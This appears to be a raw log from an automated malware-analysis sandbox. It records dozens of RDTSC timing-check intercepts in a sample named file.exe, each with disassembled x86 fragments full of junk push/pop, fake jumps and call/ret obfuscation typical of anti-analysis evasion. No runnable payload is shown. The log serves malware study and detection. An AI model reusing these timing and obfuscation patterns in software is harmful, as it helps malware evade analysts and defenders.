Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1091FB6 second address: 1091FBC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108B908 second address: 108B90C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108DA31 second address: 108DA35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1092EDB second address: 1092EE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108DA35 second address: 108DA46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a je 00007FAD1CCFA086h 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1092EE1 second address: 1092EE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1092EE5 second address: 1092F47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b movsx edi, bx 0x0000000e push 00000000h 0x00000010 jg 00007FAD1CCFA088h 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push edx 0x0000001b call 00007FAD1CCFA088h 0x00000020 pop edx 0x00000021 mov dword ptr [esp+04h], edx 0x00000025 add dword ptr [esp+04h], 00000014h 0x0000002d inc edx 0x0000002e push edx 0x0000002f ret 0x00000030 pop edx 0x00000031 ret 0x00000032 jmp 00007FAD1CCFA095h 0x00000037 mov ebx, edx 0x00000039 xchg eax, esi 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007FAD1CCFA092h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10910E2 second address: 10910E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10920F9 second address: 10920FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10920FF second address: 1092103 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1092103 second address: 1092194 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007FAD1CCFA088h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 add di, C0ACh 0x0000002a mov dword ptr [ebp+122D1DE9h], ecx 0x00000030 push dword ptr fs:[00000000h] 0x00000037 mov di, 146Fh 0x0000003b mov dword ptr fs:[00000000h], esp 0x00000042 cld 0x00000043 mov eax, dword ptr [ebp+122D1141h] 0x00000049 stc 0x0000004a push FFFFFFFFh 0x0000004c push 00000000h 0x0000004e push ecx 0x0000004f call 00007FAD1CCFA088h 0x00000054 pop ecx 0x00000055 mov dword ptr [esp+04h], ecx 0x00000059 add dword ptr [esp+04h], 00000018h 0x00000061 inc ecx 0x00000062 push ecx 0x00000063 ret 0x00000064 pop ecx 0x00000065 ret 0x00000066 nop 0x00000067 jl 00007FAD1CCFA094h 0x0000006d jmp 00007FAD1CCFA08Eh 0x00000072 push eax 0x00000073 push eax 0x00000074 push edx 0x00000075 jg 00007FAD1CCFA088h 0x0000007b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109D394 second address: 109D3C0 instructions: 0x00000000 rdtsc 0x00000002 je 00007FAD1D201C26h 0x00000008 jmp 00007FAD1D201C2Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FAD1D201C32h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109CB39 second address: 109CB87 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FAD1CCFA099h 0x00000008 jmp 00007FAD1CCFA098h 0x0000000d pop esi 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007FAD1CCFA094h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109CDED second address: 109CE08 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FAD1D201C26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b jmp 00007FAD1D201C2Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A1185 second address: 10A1189 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A1189 second address: 10A11A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1D201C32h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A12E6 second address: 10A12EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A6A9F second address: 10A6AE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FAD1D201C26h 0x0000000a popad 0x0000000b jl 00007FAD1D201C28h 0x00000011 pushad 0x00000012 popad 0x00000013 ja 00007FAD1D201C3Bh 0x00000019 jmp 00007FAD1D201C35h 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FAD1D201C36h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A6F59 second address: 10A6F5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10A6F5F second address: 10A6F64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103BF47 second address: 103BF4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103BF4D second address: 103BF55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AE86B second address: 10AE86F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AE86F second address: 10AE873 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AE873 second address: 10AE89D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jns 00007FAD1CCFA09Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AE89D second address: 10AE8A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AE8A1 second address: 10AE8A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AE8A5 second address: 10AE8AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AEB8E second address: 10AEBB7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jne 00007FAD1CCFA086h 0x0000000b jmp 00007FAD1CCFA091h 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jns 00007FAD1CCFA088h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AEBB7 second address: 10AEBD1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FAD1D201C31h 0x00000008 pop edi 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AEEE3 second address: 10AEEE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AEEE8 second address: 10AEF10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAD1D201C39h 0x00000009 jmp 00007FAD1D201C2Bh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10AEF10 second address: 10AEF22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jo 00007FAD1CCFA086h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105F387 second address: 105F38B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105F38B second address: 105F3A6 instructions: 0x00000000 rdtsc 0x00000002 je 00007FAD1CCFA086h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jns 00007FAD1CCFA08Eh 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B7CAD second address: 10B7CB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B7CB1 second address: 10B7CBB instructions: 0x00000000 rdtsc 0x00000002 je 00007FAD1CCFA08Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B7CBB second address: 10B7CC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007FAD1D201C26h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B6B70 second address: 10B6B78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108099A second address: 108099F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108099F second address: 10809C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FAD1CCFA098h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10809C1 second address: 105E7F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007FAD1D201C26h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e nop 0x0000000f and ecx, dword ptr [ebp+122D3B3Ch] 0x00000015 call dword ptr [ebp+122D32B0h] 0x0000001b pushad 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1080D64 second address: 1080D68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1080D68 second address: 1080D72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1080E6F second address: EDEFB8 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FAD1CCFA08Ch 0x00000008 jl 00007FAD1CCFA086h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 mov dword ptr [ebp+122D2B8Bh], edi 0x00000017 push dword ptr [ebp+122D11B9h] 0x0000001d push 00000000h 0x0000001f push esi 0x00000020 call 00007FAD1CCFA088h 0x00000025 pop esi 0x00000026 mov dword ptr [esp+04h], esi 0x0000002a add dword ptr [esp+04h], 00000018h 0x00000032 inc esi 0x00000033 push esi 0x00000034 ret 0x00000035 pop esi 0x00000036 ret 0x00000037 mov edi, dword ptr [ebp+122D3086h] 0x0000003d call dword ptr [ebp+122D2CE7h] 0x00000043 pushad 0x00000044 jns 00007FAD1CCFA096h 0x0000004a xor eax, eax 0x0000004c sub dword ptr [ebp+122D35A6h], edx 0x00000052 mov edx, dword ptr [esp+28h] 0x00000056 jmp 00007FAD1CCFA08Ah 0x0000005b mov dword ptr [ebp+122D3E98h], eax 0x00000061 jnl 00007FAD1CCFA092h 0x00000067 mov esi, 0000003Ch 0x0000006c jno 00007FAD1CCFA09Ch 0x00000072 add esi, dword ptr [esp+24h] 0x00000076 sub dword ptr [ebp+122D3137h], ecx 0x0000007c jmp 00007FAD1CCFA091h 0x00000081 lodsw 0x00000083 mov dword ptr [ebp+122D3137h], ecx 0x00000089 add eax, dword ptr [esp+24h] 0x0000008d jo 00007FAD1CCFA096h 0x00000093 jbe 00007FAD1CCFA090h 0x00000099 jmp 00007FAD1CCFA08Ah 0x0000009e mov ebx, dword ptr [esp+24h] 0x000000a2 mov dword ptr [ebp+122D35A6h], ecx 0x000000a8 nop 0x000000a9 push eax 0x000000aa push edx 0x000000ab jng 00007FAD1CCFA09Fh 0x000000b1 jmp 00007FAD1CCFA099h 0x000000b6 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1081072 second address: 1081077 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1081077 second address: 1081093 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jbe 00007FAD1CCFA091h 0x00000011 jmp 00007FAD1CCFA08Bh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10811B4 second address: 10811B9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10811B9 second address: 10811F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jnp 00007FAD1CCFA08Ch 0x0000000f jmp 00007FAD1CCFA090h 0x00000014 popad 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 jmp 00007FAD1CCFA08Eh 0x0000001e mov eax, dword ptr [eax] 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10813A2 second address: 1081442 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAD1D201C2Bh 0x00000009 popad 0x0000000a jmp 00007FAD1D201C37h 0x0000000f popad 0x00000010 mov dword ptr [esp], eax 0x00000013 mov di, 9896h 0x00000017 sub dword ptr [ebp+122D35B3h], eax 0x0000001d push 00000004h 0x0000001f push 00000000h 0x00000021 push ebp 0x00000022 call 00007FAD1D201C28h 0x00000027 pop ebp 0x00000028 mov dword ptr [esp+04h], ebp 0x0000002c add dword ptr [esp+04h], 0000001Ch 0x00000034 inc ebp 0x00000035 push ebp 0x00000036 ret 0x00000037 pop ebp 0x00000038 ret 0x00000039 or dword ptr [ebp+122D30FCh], eax 0x0000003f mov dword ptr [ebp+122D3AF8h], eax 0x00000045 jnc 00007FAD1D201C26h 0x0000004b nop 0x0000004c jmp 00007FAD1D201C36h 0x00000051 push eax 0x00000052 js 00007FAD1D201C40h 0x00000058 pushad 0x00000059 jmp 00007FAD1D201C32h 0x0000005e push eax 0x0000005f push edx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1081816 second address: 108181A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1081C02 second address: 1081C06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1081D0B second address: 1081D11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1081D11 second address: 1081D17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1081D17 second address: 1081D1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1081DC3 second address: 1081DC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1081DC7 second address: 105F387 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1CCFA091h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a mov dword ptr [esp], eax 0x0000000d mov edi, edx 0x0000000f call dword ptr [ebp+122D2B86h] 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B6FAB second address: 10B6FDB instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FAD1D201C32h 0x00000008 js 00007FAD1D201C2Eh 0x0000000e pushad 0x0000000f popad 0x00000010 jnl 00007FAD1D201C26h 0x00000016 pop edx 0x00000017 pop eax 0x00000018 pushad 0x00000019 ja 00007FAD1D201C28h 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BC298 second address: 10BC29D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BC29D second address: 10BC2A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BC2A3 second address: 10BC2AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BC6BF second address: 10BC6C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BCB4F second address: 10BCB55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BCB55 second address: 10BCB60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BCB60 second address: 10BCB76 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1CCFA08Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ja 00007FAD1CCFA08Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BCF62 second address: 10BCF6E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FAD1D201C26h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C09E0 second address: 10C0A2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ecx 0x00000006 js 00007FAD1CCFA086h 0x0000000c pushad 0x0000000d popad 0x0000000e pop ecx 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jmp 00007FAD1CCFA08Dh 0x00000018 jmp 00007FAD1CCFA08Eh 0x0000001d jmp 00007FAD1CCFA098h 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C0A2B second address: 10C0A48 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1D201C39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C2DDA second address: 10C2DE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C2DE0 second address: 10C2DF4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1D201C30h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C2DF4 second address: 10C2DFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C2DFA second address: 10C2DFF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C66DC second address: 10C66E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C66E0 second address: 10C66E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C66E4 second address: 10C66F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C683B second address: 10C684A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jns 00007FAD1D201C26h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C684A second address: 10C686B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1CCFA097h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CAC99 second address: 10CAC9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CA4C9 second address: 10CA4EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnc 00007FAD1CCFA08Ch 0x0000000b jmp 00007FAD1CCFA091h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CA642 second address: 10CA647 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CA647 second address: 10CA64F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CA77D second address: 10CA7A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FAD1D201C26h 0x0000000a jmp 00007FAD1D201C39h 0x0000000f popad 0x00000010 pop eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CA7A7 second address: 10CA7C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAD1CCFA095h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CA7C0 second address: 10CA7C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CF2CA second address: 10CF2CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CF425 second address: 10CF429 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
